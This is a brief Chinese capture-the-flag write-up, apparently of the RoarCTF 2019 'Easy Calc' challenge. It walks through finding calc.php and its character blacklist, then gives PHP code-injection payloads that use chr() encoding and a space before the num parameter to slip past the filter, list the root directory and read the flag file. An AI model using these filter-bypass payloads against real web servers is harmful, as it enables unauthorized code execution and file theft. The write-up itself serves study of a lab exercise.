1、进入页面,还是一个输入页面:
2、常规三板斧:
(1)输入1:
(2)输入1’:
(3)输入1":
3、发现没有报错,应该是思路错了,再打开源码试试:
4、下面提到了一个calc.php的页面,访问这个页面,blacklist中是过滤的字符:
5、这边知道传参只能为数字,于是参考[RoarCTF 2019]Easy Calc,
了解payload的构建;
6、构建函数
/calc.php? num=2;var_dump(scandir(chr(47)))
其中var_dump()用来打印;
scandir()用来获扫描目录下文件;
chr(47)是“/”的ASCII编码。
7、发现一个意思flag的文件“f1agg”:
8、尝试读取该文件:
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
其中:
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法;
chr(47)是/的ASCII编码;
chr(102)是f的ASCII编码;
chr(49)是1的ASCII编码;
chr(97)是a的ASCII编码;
chr(103)是g的ASCII编码。